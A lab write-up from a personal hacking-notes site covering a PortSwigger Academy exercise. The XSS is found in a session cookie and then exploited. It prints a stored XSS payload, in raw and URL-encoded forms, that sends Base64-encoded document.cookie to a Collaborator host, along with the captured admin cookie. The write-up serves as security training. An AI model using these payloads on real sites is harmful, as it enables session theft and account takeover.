> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/essential-skills/analyzing-non-standard-data-structures.md).

# Analysis of Non-standard Data Structures

Analysis of Non-standard Data Structures notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Scanning Non-standard Data Structures

**Lab Background**

This lab contains a vulnerability that is difficult to identify manually because it is located in a **non-standard data structure**. / The objective is to use **Burp Scanner**, in particular the **Scan selected insertion point** functionality, to detect vulnerability, and then manually exploit it to **remove user `carlos`**.

Identifier provided:

* **User**: wiener
* **Password**: peter

**Step 1 – Authentication**

Connect to the application via the login page with the provided credentials.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e75bc2ed95b861db861ad9569cd70ef1e5405174%2Fimage%20(3116).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 2 – Targeted Scan at an insertion point**

Instead of running a global scan, a highly targeted scan is performed:

* An authenticated request is intercepted.
* Only the **session cookie value** is selected.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8dfa009a44de595802cdc78d413314a7235ff68b%2Fimage%20(3117).png?alt=media" alt=""><figcaption></figcaption></figure>

* We launch **Burp Scanner → Scan selected insertion point** on this specific element.

This minimalist scan allows to analyze an area rarely tested manually: the internal structure of the cookie.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a999c2f4dc82d1974c16dcf4676885d26022c98d%2Fimage%20(3119).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 3 – Vulnerability Detection**

Burp Scanner identifies a vulnerability of type:

* **Cross-Site Scripting (XSS) stored**

The detected payload is injected directly into the session cookie.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aadb740580ca80867991fb19f2b301c2ede85b9a%2Fimage%20(3120).png?alt=media" alt=""><figcaption></figcaption></figure>

Example of initial payload detected:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Step 4 – Exfiling the cookie via Burp Collaborator**

We adapt the payload to extract `document.cookie` content to our Collaborator server, encoded in Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Then we **URL-encode** the payload before injecting:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52fbe70d0c8e28bfebafdd88447a402e8a64c996%2Fimage%20(3121).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 5 – Recovery and decoding of admin cookie**

The Collaborator server receives a request containing the cookie encoded in Base64:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

After decoding, we obtain:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bad4ca337680775011ea2d48678d0b184bda66ff%2Fimage%20(3122).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 6 – Administrator access and final operation**

Using the admin session cookie:

* The interface **admin** is accessed.
* An internal page of **logs** is accessible.
* This page displayed cookies without filtering, which explains the persistence of the **XSS stored**.
* It is then possible to remove the user **carlos** and validate the lab.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9a4bf5b8253b6161acc5eb1ef9c243fa3cbcd18%2Fimage%20(3123).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
